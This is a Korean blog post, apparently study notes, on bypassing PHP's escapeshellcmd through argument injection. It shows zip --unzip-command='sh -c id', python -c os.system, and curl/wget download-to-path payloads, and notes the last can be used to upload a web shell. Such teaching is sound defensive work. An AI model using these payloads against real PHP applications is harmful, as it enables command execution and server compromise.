PHP에 시스템 명령어를 실행하기 위한 system 함수가 있다.
PHP에선 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 escapeshellcmd 함수를 사용한다.
이는 메타 문자가 입력됐을 때 해당 문자 앞에 '\'를 삽입해 타 명령어를 실행할 수 없도록 한다.
escapeshellcmd 함수에서 메타 문자를 활용한 커맨드 인젝션은 불가능하다.
그러나 특정 명령어의 인자로 입력값이 전달되는 경우 공격자는 실행하려는 명령어의 옵션을 조작할 수 있다.
명령어의 인자를 조작할 수 없도록 하려면 escapeshellarg 함수를 사용해야 한다.
(escapeshellcmd 함수를 사용할 경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수 있다)
zip
zip 명령어는 압축 파일을 생성하거나 해제하는 명령어인데
해당 명령어의 옵션을 살펴보면, --unzip-command가 존재한다.
이는 압축 파일을 테스트할 때 사용되는 옵션으로, 인자로 전달된 명령어를 실행한다.
$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
python
파이썬은 명령줄로 코드를 실행할 수 있는 -c 옵션이 있다.
$ python -c '__import__("os").system("id")' input.py
curl
curl은 전달된 URL에 접속하는 CLI 프로그램이다.
명령어를 실행할 순 없지만 -o 옵션을 통해 임의 경로에 파일을 저장할 수 있다.
이는 웹쉘을 올리기 위한 방법으로 사용할 수 있다.
$ curl http://dreamhack.local -o /tmp/hello.txt
$ cat /tmp/hello.txt
wget
wget은 전달된 URL에 접속해 파일을 다운로드하는 용도로 사용되는 프로그램이다.
-O 옵션을 사용하면 임의 경로에 파일을 저장할 수 있다.
$ wget http://dreamhack.local -O hello.txt
$ cat /tmp/hello.txt
레퍼런스
https://learn.dreamhack.io/296#6
'background > web' 카테고리의 다른 글
Spring View Manipulation (Thymeleaf SSTI) (0) | 2023.08.07 |
---|---|
SQL Injection Tips (2) | 2023.02.18 |
Command Injection for Linux (2) (1) | 2022.11.27 |
Command Injection for Linux (1) (0) | 2022.11.26 |
[NoSQL] Redis DBMS (0) | 2022.11.24 |